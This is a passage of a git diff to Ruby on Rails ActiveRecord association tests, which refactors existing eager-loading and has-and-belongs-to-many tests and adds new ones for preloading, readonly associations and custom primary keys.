+    post_id = Comment.where(author_id: nil).where.not(post_id: nil).first.post_id
+
+    assert_nothing_raised do
+      Post.preload(:comments => [{:author => :essays}]).find(post_id)
+    end
+  end
+
   def test_nested_loading_through_has_one_association
     aa = AuthorAddress.all.merge!(:includes => {:author => :posts}).find(author_addresses(:david_address).id)
     assert_equal aa.author.posts.count, aa.author.posts.length
@@ -317,31 +346,31 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_eager_association_loading_with_belongs_to_and_limit
     comments = Comment.all.merge!(:includes => :post, :limit => 5, :order => 'comments.id').to_a
     assert_equal 5, comments.length
-    assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
+    assert_equal [1,2,3,5,6], comments.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
     comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :order => 'comments.id').to_a
     assert_equal 3, comments.length
-    assert_equal [5,6,7], comments.collect { |c| c.id }
+    assert_equal [5,6,7], comments.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset
     comments = Comment.all.merge!(:includes => :post, :limit => 3, :offset => 2, :order => 'comments.id').to_a
     assert_equal 3, comments.length
-    assert_equal [3,5,6], comments.collect { |c| c.id }
+    assert_equal [3,5,6], comments.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
     comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id').to_a
     assert_equal 3, comments.length
-    assert_equal [6,7,8], comments.collect { |c| c.id }
+    assert_equal [6,7,8], comments.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
     comments = Comment.all.merge!(:includes => :post, :where => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id').to_a
     assert_equal 3, comments.length
-    assert_equal [6,7,8], comments.collect { |c| c.id }
+    assert_equal [6,7,8], comments.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
@@ -356,7 +385,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
       comments = Comment.all.merge!(:includes => :post, :where => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id').to_a
     end
     assert_equal 3, comments.length
-    assert_equal [5,6,7], comments.collect { |c| c.id }
+    assert_equal [5,6,7], comments.collect(&:id)
     assert_no_queries do
       comments.first.post
     end
@@ -385,13 +414,13 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
     posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :order => 'posts.id').to_a
     assert_equal 1, posts.length
-    assert_equal [1], posts.collect { |p| p.id }
+    assert_equal [1], posts.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
     posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id').to_a
     assert_equal 1, posts.length
-    assert_equal [2], posts.collect { |p| p.id }
+    assert_equal [2], posts.collect(&:id)
   end
 
   def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
@@ -406,19 +435,19 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_load_has_one_quotes_table_and_column_names
-    michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael))
+    michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael).id)
     references(:michael_unicyclist)
     assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
   end
 
   def test_eager_load_has_many_quotes_table_and_column_names
-    michael = Person.all.merge!(:includes => :references).find(people(:michael))
+    michael = Person.all.merge!(:includes => :references).find(people(:michael).id)
     references(:michael_magician,:michael_unicyclist)
     assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
   end
 
   def test_eager_load_has_many_through_quotes_table_and_column_names
-    michael = Person.all.merge!(:includes => :jobs).find(people(:michael))
+    michael = Person.all.merge!(:includes => :jobs).find(people(:michael).id)
     jobs(:magician, :unicyclist)
     assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
   end
@@ -482,8 +511,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
-    author = Author.all.merge!(:includes => :special_nonexistant_post_comments, :order => 'authors.id').first
-    assert_equal [], author.special_nonexistant_post_comments
+    author = Author.all.merge!(:includes => :special_nonexistent_post_comments, :order => 'authors.id').first
+    assert_equal [], author.special_nonexistent_post_comments
   end
 
   def test_eager_with_has_many_through_join_model_with_conditions
@@ -522,23 +551,15 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_many_and_limit_and_conditions
-    if current_adapter?(:OpenBaseAdapter)
-      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id").to_a
-    else
-      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
-    end
+    posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
     assert_equal 2, posts.size
-    assert_equal [4,5], posts.collect { |p| p.id }
+    assert_equal [4,5], posts.collect(&:id)
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_array
-    if current_adapter?(:OpenBaseAdapter)
-      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id").to_a
-    else
-      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
-    end
+    posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
     assert_equal 2, posts.size
-    assert_equal [4,5], posts.collect { |p| p.id }
+    assert_equal [4,5], posts.collect(&:id)
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
@@ -708,16 +729,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_invalid_association_reference
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=> :monkeys ).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=>[ :monkeys ]).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
       Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
     }
   end
@@ -747,6 +768,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_default_scope_as_block
+    # warm up the habtm cache
+    EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first.projects
     developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
     projects = Project.order(:id).to_a
     assert_no_queries do
@@ -811,14 +834,6 @@ class EagerAssociationTest < ActiveRecord::TestCase
     )
   end
 
-  def test_preload_with_interpolation
-    post = Post.includes(:comments_with_interpolated_conditions).find(posts(:welcome).id)
-    assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
-
-    post = Post.joins(:comments_with_interpolated_conditions).find(posts(:welcome).id)
-    assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
-  end
-
   def test_polymorphic_type_condition
     post = Post.all.merge!(:includes => :taggings).find(posts(:thinking).id)
     assert post.taggings.include?(taggings(:thinking_general))
@@ -893,6 +908,12 @@ class EagerAssociationTest < ActiveRecord::TestCase
     assert_no_queries {assert_equal posts(:sti_comments), comment.post}
   end
 
+  def test_eager_association_with_scope_with_joins
+    assert_nothing_raised do
+      Post.includes(:very_special_comment_with_post_with_joins).to_a
+    end
+  end
+
   def test_preconfigured_includes_with_has_many
     posts = authors(:david).posts_with_comments
     one = posts.detect { |p| p.id == 1 }
@@ -922,13 +943,43 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_count_with_include
-    if current_adapter?(:SybaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.where("len(comments.body) > 15").references(:comments).count
-    elsif current_adapter?(:OpenBaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.where("length(FETCHBLOB(comments.body)) > 15").references(:comments).count
-    else
-      assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+    assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+  end
+
+  def test_association_loading_notification
+    notifications = messages_for('instantiation.active_record') do
+      Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
+    end
+
+    message = notifications.first
+    payload = message.last
+    count = Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
+
+    # eagerloaded row count should be greater than just developer count
+    assert_operator payload[:record_count], :>, count
+    assert_equal Developer.name, payload[:class_name]
+  end
+
+  def test_base_messages
+    notifications = messages_for('instantiation.active_record') do
+      Developer.all.to_a
     end
+    message = notifications.first
+    payload = message.last
+
+    assert_equal Developer.all.to_a.count, payload[:record_count]
+    assert_equal Developer.name, payload[:class_name]
+  end
+
+  def messages_for(name)
+    notifications = []
+    ActiveSupport::Notifications.subscribe(name) do |*args|
+      notifications << args
+    end
+    yield
+    notifications
+  ensure
+    ActiveSupport::Notifications.unsubscribe(name)
   end
 
   def test_load_with_sti_sharing_association
@@ -1136,6 +1187,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_deep_including_through_habtm
+    # warm up habtm cache
+    posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+    posts[0].categories[0].categorizations.length
+
     posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
     assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
     assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
@@ -1159,6 +1214,13 @@ class EagerAssociationTest < ActiveRecord::TestCase
     )
   end
 
+  test "deep preload" do
+    post = Post.preload(author: :posts, comments: :post).first
+
+    assert_predicate post.author.association(:posts), :loaded?
+    assert_predicate post.comments.first.association(:post), :loaded?
+  end
+
   test "preloading does not cache has many association subset when preloaded with a through association" do
     author = Author.includes(:comments_with_order_and_conditions, :posts).first
     assert_no_queries { assert_equal 2, author.comments_with_order_and_conditions.size }
@@ -1172,8 +1234,119 @@ class EagerAssociationTest < ActiveRecord::TestCase
     }
   end
 
-  test "works in combination with order(:symbol)" do
-    author = Author.includes(:posts).references(:posts).order(:name).where('posts.title IS NOT NULL').first
+  test "works in combination with order(:symbol) and reorder(:symbol)" do
+    author = Author.includes(:posts).references(:posts).order(:name).find_by('posts.title IS NOT NULL')
+    assert_equal authors(:bob), author
+
+    author = Author.includes(:posts).references(:posts).reorder(:name).find_by('posts.title IS NOT NULL')
     assert_equal authors(:bob), author
   end
+
+  test "preloading with a polymorphic association and using the existential predicate but also using a select" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).select(:name).any?
+    end
+  end
+
+  test "preloading the same association twice works" do
+    Member.create!
+    members = Member.preload(:current_membership).includes(current_membership: :club).all.to_a
+    assert_no_queries {
+      members_with_membership = members.select(&:current_membership)
+      assert_equal 3, members_with_membership.map(&:current_membership).map(&:club).size
+    }
+  end
+
+  test "preloading with a polymorphic association and using the existential predicate" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).any?
+    end
+  end
+
+  test "preloading associations with string joins and order references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
+    }
+    assert_no_queries {
+      assert_equal 5, author.posts.size
+    }
+  end
+
+  test "including associations with where.not adds implicit references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).where.not(posts: { title: 'Welcome to the weblog'} ).last
+    }
+
+    assert_no_queries {
+      assert_equal 2, author.posts.size
+    }
+  end
+
+  test "including association based on sql condition and no database column" do
+    assert_equal pets(:parrot), Owner.including_last_pet.first.last_pet
+  end
+
+  test "preloading and eager loading of instance dependent associations is not supported" do
+    message = "association scope 'posts_with_signature' is"
+    error = assert_raises(ArgumentError) do
+      Author.includes(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+
+    error = assert_raises(ArgumentError) do
+      Author.preload(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+
+    error = assert_raises(ArgumentError) do
+      Author.eager_load(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+  end
+
+  test "preloading readonly association" do
+    # has-one
+    firm = Firm.where(id: "1").preload(:readonly_account).first!
+    assert firm.readonly_account.readonly?
+
+    # has_and_belongs_to_many
+    project = Project.where(id: "2").preload(:readonly_developers).first!
+    assert project.readonly_developers.first.readonly?
+
+    # has-many :through
+    david = Author.where(id: "1").preload(:readonly_comments).first!
+    assert david.readonly_comments.first.readonly?
+  end
+
+  test "eager-loading readonly association" do
+    # has-one
+    firm = Firm.where(id: "1").eager_load(:readonly_account).first!
+    assert firm.readonly_account.readonly?
+
+    # has_and_belongs_to_many
+    project = Project.where(id: "2").eager_load(:readonly_developers).first!
+    assert project.readonly_developers.first.readonly?
+
+    # has-many :through
+    david = Author.where(id: "1").eager_load(:readonly_comments).first!
+    assert david.readonly_comments.first.readonly?
+
+    # belongs_to
+    post = Post.where(id: "1").eager_load(:author).first!
+    assert post.author.readonly?
+  end
+
+  test "preloading a polymorphic association with references to the associated table" do
+    post = Post.includes(:tags).references(:tags).where('tags.name = ?', 'General').first
+    assert_equal posts(:welcome), post
+  end
+
+  test "eager-loading a polymorphic association with references to the associated table" do
+    post = Post.eager_load(:tags).where('tags.name = ?', 'General').first
+    assert_equal posts(:welcome), post
+  end
 end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index 47dff7d0ea..b161cde335 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -3,6 +3,7 @@ require 'models/post'
 require 'models/comment'
 require 'models/project'
 require 'models/developer'
+require 'models/computer'
 require 'models/company_in_module'
 
 class AssociationsExtensionsTest < ActiveRecord::TestCase
@@ -75,7 +76,6 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
   private
 
     def extend!(model)
-      builder = ActiveRecord::Associations::Builder::HasMany.new(:association_name, nil, {}) { }
-      builder.define_extensions(model)
+      ActiveRecord::Associations::Builder::HasMany.define_extensions(model, :association_name) { }
     end
 end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 712a770133..aea9207bfe 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/company'
 require 'models/customer'
@@ -11,6 +12,7 @@ require 'models/author'
 require 'models/tag'
 require 'models/tagging'
 require 'models/parrot'
+require 'models/person'
 require 'models/pirate'
 require 'models/treasure'
 require 'models/price_estimate'
@@ -20,6 +22,10 @@ require 'models/membership'
 require 'models/sponsor'
 require 'models/country'
 require 'models/treaty'
+require 'models/vertex'
+require 'models/publisher'
+require 'models/publisher/article'
+require 'models/publisher/magazine'
 require 'active_support/core_ext/string/conversions'
 
 class ProjectWithAfterCreateHook < ActiveRecord::Base
@@ -65,9 +71,21 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
     :foreign_key => "developer_id"
 end
 
+class SubDeveloper < Developer
+  self.table_name = 'developers'
+  has_and_belongs_to_many :special_projects,
+    :join_table => 'developers_projects',
+    :foreign_key => "project_id",
+    :association_foreign_key => "developer_id"
+end
+
+class DeveloperWithSymbolClassName < Developer
+  has_and_belongs_to_many :projects, class_name: :ProjectWithSymbolsForKeys
+end
+
 class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
-           :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
+           :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings, :computers
 
   def setup_data_for_habtm_case
     ActiveRecord::Base.connection.execute('delete from countries_treaties')
@@ -81,6 +99,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     country.treaties << treaty
   end
 
+  def test_marshal_dump
+    post = posts :welcome
+    preloaded = Post.includes(:categories).find post.id
+    assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))
+  end
+
   def test_should_property_quote_string_primary_keys
     setup_data_for_habtm_case
 
@@ -215,9 +239,27 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
   end
 
+  def test_habtm_collection_size_from_build
+    devel = Developer.create("name" => "Fred Wu")
+    devel.projects << Project.create("name" => "Grimetime")
+    devel.projects.build
+
+    assert_equal 2, devel.projects.size
+  end
+
+  def test_habtm_collection_size_from_params
+    devel = Developer.new({
+      projects_attributes: {
+        '0' => {}
+      }
+    })
+
+    assert_equal 1, devel.projects.size
+  end
+
   def test_build
     devel = Developer.find(1)
-    proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
+    proj = assert_no_queries(ignore_none: false) { devel.projects.build("name" => "Projekt") }
     assert !devel.projects.loaded?
 
     assert_equal devel.projects.last, proj
@@ -232,7 +274,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
   def test_new_aliased_to_build
     devel = Developer.find(1)
-    proj = assert_no_queries { devel.projects.new("name" => "Projekt") }
+    proj = assert_no_queries(ignore_none: false) { devel.projects.new("name" => "Projekt") }
     assert !devel.projects.loaded?
 
     assert_equal devel.projects.last, proj
@@ -466,7 +508,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
     developer = project.developers.first
 
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert project.developers.loaded?
       assert project.developers.include?(developer)
     end
@@ -513,7 +555,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
   def test_dynamic_find_all_should_respect_readonly_access
     projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save!  } if d.valid?}
-    projects(:active_record).readonly_developers.each { |d| d.readonly? }
+    projects(:active_record).readonly_developers.each(&:readonly?)
   end
 
   def test_new_with_values_in_collection
@@ -570,6 +612,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert !developer.special_projects.include?(other_project)
   end
 
+  def test_symbol_join_table
+    developer = Developer.first
+    sp = developer.sym_special_projects.create("name" => "omg")
+    developer.reload
+    assert_includes developer.sym_special_projects, sp
+  end
+
   def test_update_attributes_after_push_without_duplicate_join_table_rows
     developer = Developer.new("name" => "Kano")
     project = SpecialProject.create("name" => "Special Project")
@@ -605,16 +654,24 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_join_table_alias
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
     assert_equal(
       3,
       Developer.references(:developers_projects_join).merge(
         :includes => {:projects => :developers},
-        :where => 'developers_projects_join.joined_on IS NOT NULL'
+        :where => 'projects_developers_projects_join.joined_on IS NOT NULL'
       ).to_a.size
     )
   end
 
   def test_join_with_group
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
     group = Developer.columns.inject([]) do |g, c|
       g << "developers.#{c.name}"
       g << "developers_projects_2.#{c.name}"
@@ -624,7 +681,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal(
       3,
       Developer.references(:developers_projects_join).merge(
-        :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+        :includes => {:projects => :developers}, :where => 'projects_developers_projects_join.joined_on IS NOT NULL',
         :group => group.join(",")
       ).to_a.size
     )
@@ -638,12 +695,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_scoped_grouped
-    assert_equal 5, categories(:general).posts_grouped_by_title.size
-    assert_equal 1, categories(:technology).posts_grouped_by_title.size
+    assert_equal 5, categories(:general).posts_grouped_by_title.to_a.size
+    assert_equal 1, categories(:technology).posts_grouped_by_title.to_a.size
   end
 
   def test_find_scoped_grouped_having
-    assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+    assert_equal 2, projects(:active_record).well_payed_salary_groups.to_a.size
     assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
   end
 
@@ -710,12 +767,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal project, developer.projects.first
   end
 
-  def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
-    assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
-      SelfMember.new.friends
-    }
-  end
-
   def test_dynamic_find_should_respect_association_include
     # SQL error in sort clause if :include is not included
     # due to Unknown column 'authors.id'
@@ -766,9 +817,19 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert project.developers.include?(developer)
   end
 
-  test "has and belongs to many associations on new records use null relations" do
+  def test_destruction_does_not_error_without_primary_key
+    redbeard = pirates(:redbeard)
+    george = parrots(:george)
+    redbeard.parrots << george
+    assert_equal 2, george.pirates.count
+    Pirate.includes(:parrots).where(parrot: redbeard.parrot).find(redbeard.id).destroy
+    assert_equal 1, george.pirates.count
+    assert_equal [], Pirate.where(id: redbeard.id)
+  end
+
+  def test_has_and_belongs_to_many_associations_on_new_records_use_null_relations
     projects = Developer.new.projects
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [], projects
       assert_equal [], projects.where(title: 'omg')
       assert_equal [], projects.pluck(:title)
@@ -776,4 +837,69 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_create
+    rich_person = RichPerson.new
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_nil rich_person.first_name, 'should not run associated person validation on create when validate: false'
+  end
+
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_update
+    rich_person = RichPerson.create!
+    person_first_name = rich_person.first_name
+    assert_not_nil person_first_name
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_equal person_first_name, rich_person.first_name, 'should not run associated person validation on update when validate: false'
+  end
+
+  def test_custom_join_table
+    assert_equal 'edges', Vertex.reflect_on_association(:sources).join_table
+  end
+
+  def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_namespaced_model
+    magazine = Publisher::Magazine.create
+    article = Publisher::Article.create
+    magazine.articles << article
+    magazine.save
+
+    assert_includes magazine.articles, article
+  end
+
+  def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_non_namespaced_model
+    article = Publisher::Article.create
+    tag = Tag.create
+    article.tags << tag
+    article.save
+
+    assert_includes article.tags, tag
+  end
+
+  def test_redefine_habtm
+    child = SubDeveloper.new("name" => "Aredridel")
+    child.special_projects << SpecialProject.new("name" => "Special Project")
+    assert child.save, 'child object should be saved'
+  end
+
+  def test_habtm_with_reflection_using_class_name_and_fixtures
+    assert_not_nil Developer._reflections['shared_computers']
+    # Checking the fixture for named association is important here, because it's the only way
+    # we've been able to reproduce this bug
+    assert_not_nil File.read(File.expand_path("../../../fixtures/developers.yml", __FILE__)).index("shared_computers")
+    assert_equal developers(:david).shared_computers.first, computers(:laptop)
+  end
+
+  def test_with_symbol_class_name
+    assert_nothing_raised NoMethodError do
+      DeveloperWithSymbolClassName.new
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index ce51853bf3..19f4384e83 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -1,11 +1,13 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/company'
 require 'models/contract'
 require 'models/topic'
 require 'models/reply'
 require 'models/category'
+require 'models/image'
 require 'models/post'
 require 'models/author'
 require 'models/essay'
@@ -22,6 +24,15 @@ require 'models/engine'
 require 'models/categorization'
 require 'models/minivan'
 require 'models/speedometer'
+require 'models/reference'
+require 'models/job'
+require 'models/college'
+require 'models/student'
+require 'models/pirate'
+require 'models/ship'
+require 'models/tyre'
+require 'models/subscriber'
+require 'models/subscription'
 
 class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
   fixtures :authors, :posts, :comments
@@ -30,21 +41,125 @@ class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCa
     author = authors(:david)
     # this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
     # if the reorder clauses are not correctly handled
-    assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.taggings_count DESC').last
+    assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.tags_count DESC').last
   end
 end
 
+class HasManyAssociationsTestPrimaryKeys < ActiveRecord::TestCase
+  fixtures :authors, :essays, :subscribers, :subscriptions, :people
+
+  def test_custom_primary_key_on_new_record_should_fetch_with_query
+    subscriber = Subscriber.new(nick: 'webster132')
+    assert !subscriber.subscriptions.loaded?
+
+    assert_queries 1 do
+      assert_equal 2, subscriber.subscriptions.size
+    end
+
+    assert_equal subscriber.subscriptions, Subscription.where(subscriber_id: 'webster132')
+  end
+
+  def test_association_primary_key_on_new_record_should_fetch_with_query
+    author = Author.new(:name => "David")
+    assert !author.essays.loaded?
+
+    assert_queries 1 do
+      assert_equal 1, author.essays.size
+    end
+
+    assert_equal author.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_has_many_custom_primary_key
+    david = authors(:david)
+    assert_equal david.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_has_many_assignment_with_custom_primary_key
+    david = people(:david)
+
+    assert_equal ["A Modest Proposal"], david.essays.map(&:name)
+    david.essays = [Essay.create!(name: "Remote Work" )]
+    assert_equal ["Remote Work"], david.essays.map(&:name)
+  end
+
+  def test_blank_custom_primary_key_on_new_record_should_not_run_queries
+    author = Author.new
+    assert !author.essays.loaded?
+
+    assert_queries 0 do
+      assert_equal 0, author.essays.size
+    end
+  end
+end
 
 class HasManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :categories, :companies, :developers, :projects,
            :developers_projects, :topics, :authors, :comments,
-           :people, :posts, :readers, :taggings, :cars, :essays,
+           :posts, :readers, :taggings, :cars, :jobs, :tags,
            :categorizations
 
   def setup
     Client.destroyed_client_ids.clear
   end
 
+  def test_sti_subselect_count
+    tag = Tag.first
+    len = Post.tagged_with(tag.id).limit(10).size
+    assert_operator len, :>, 0
+  end
+
+  def test_anonymous_has_many
+    developer = Class.new(ActiveRecord::Base) {
+      self.table_name = 'developers'
+      dev = self
+
+      developer_project = Class.new(ActiveRecord::Base) {
+        self.table_name = 'developers_projects'
+        belongs_to :developer, :class => dev
+      }
+      has_many :developer_projects, :class => developer_project, :foreign_key => 'developer_id'
+    }
+    dev = developer.first
+    named = Developer.find(dev.id)
+    assert_operator dev.developer_projects.count, :>, 0
+    assert_equal named.projects.map(&:id).sort,
+                 dev.developer_projects.map(&:project_id).sort
+  end
+
+  def test_default_scope_on_relations_is_not_cached
+    counter = 0
+    posts = Class.new(ActiveRecord::Base) {
+      self.table_name = 'posts'
+      self.inheritance_column = 'not_there'
+      post = self
+
+      comments = Class.new(ActiveRecord::Base) {
+        self.table_name = 'comments'
+        self.inheritance_column = 'not_there'
+        belongs_to :post, :class => post
+        default_scope -> {
+          counter += 1
+          where("id = :inc", :inc => counter)
+        }
+      }
+      has_many :comments, :class => comments, :foreign_key => 'post_id'
+    }
+    assert_equal 0, counter
+    post = posts.first
+    assert_equal 0, counter
+    sql = capture_sql { post.comments.to_a }
+    post.comments.reset
+    assert_not_equal sql, capture_sql { post.comments.to_a }
